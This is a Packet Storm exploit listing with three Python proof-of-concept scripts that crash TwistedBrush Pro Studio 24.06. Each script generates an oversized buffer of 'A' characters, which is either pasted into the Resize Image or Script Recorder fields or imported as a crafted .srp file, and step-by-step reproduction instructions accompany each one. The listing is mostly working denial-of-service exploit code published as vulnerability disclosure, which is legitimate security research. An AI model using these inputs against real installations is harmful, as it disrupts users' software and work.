TwistedBrush Pro Studio 24.06 Denial Of Service

2019-05-14T00:00:00
ID PACKETSTORM:152858
Type packetstorm
Reporter Alejandra Sanchez
Modified 2019-05-14T00:00:00

Description

                                        
                                            `# -*- coding: utf-8 -*-  
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Resize Image' Denial of Service (PoC)  
# Date: 13/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: http://www.pixarra.com  
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe  
# Version: 24.06  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script "TwistedBrush _resize.py", it will create a new file "PoC.txt"  
# 2.- Copy the text from the generated PoC.txt file to clipboard  
# 3.- Open TwistedBrush Pro Studio  
# 4.- Go to 'Image' > 'Resize Image...'   
# 5.- Paste clipboard in the 'New Width/New Height' field  
# 6.- Click OK  
# 7.- Crashed  
  
buffer = "\x41" * 1000  
f = open ("PoC.txt", "w")  
f.write(buffer)  
f.close()  
  
------------- cut here -------------  
  
# -*- coding: utf-8 -*-  
# Exploit Title: TwistedBrush Pro Studio 24.06 - 'Script Recorder' Denial of Service (PoC)  
# Date: 13/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: http://www.pixarra.com  
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe  
# Version: 24.06  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script "TwistedBrush_recorder.py", it will create a new file "PoC.txt"  
# 2.- Copy the text from the generated PoC.txt file to clipboard  
# 3.- Open TwistedBrush Pro Studio  
# 4.- Go to 'Record' > 'Script Recorder...'   
# 5.- Paste clipboard in the 'Description' field  
# 6.- Click 'Brush' button  
# 7.- Crashed  
  
buffer = "\x41" * 500000  
f = open ("PoC.txt", "w")  
f.write(buffer)  
f.close()  
  
------------- cut here -------------  
  
# -*- coding: utf-8 -*-  
# Exploit Title: TwistedBrush Pro Studio 24.06 - '.srp' Denial of Service (PoC)  
# Date: 13/05/2019  
# Author: Alejandra Sánchez  
# Vendor Homepage: http://www.pixarra.com  
# Software Link http://www.pixarra.com/uploads/9/4/6/3/94635436/tbrusha.exe  
# Version: 24.06  
# Tested on: Windows 10  
  
# Proof of Concept:  
# 1.- Run the python script "TwistedBrush_player.py", it will create a new file "sample.srp"  
# 2.- Open TwistedBrush Pro Studio  
# 3.- Go to 'Record' > 'Script Player...'   
# 4.- Click 'Import' button, select the 'sample.srp' file created and click 'Open' button  
# 5.- Crashed  
  
buffer = "\x41" * 500000  
f = open ("sample.srp", "w")  
f.write(buffer)  
f.close()  
`